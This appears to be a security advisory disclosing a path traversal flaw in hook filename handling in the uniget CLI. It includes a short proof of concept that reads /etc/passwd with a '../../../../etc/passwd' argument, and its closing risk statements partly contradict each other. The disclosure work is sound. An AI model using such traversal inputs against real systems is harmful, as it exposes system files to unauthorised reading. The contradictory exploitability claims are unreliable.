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GHSA-m6jg-wr9m-cg2f
gitlab.com/uniget-org/cliSummary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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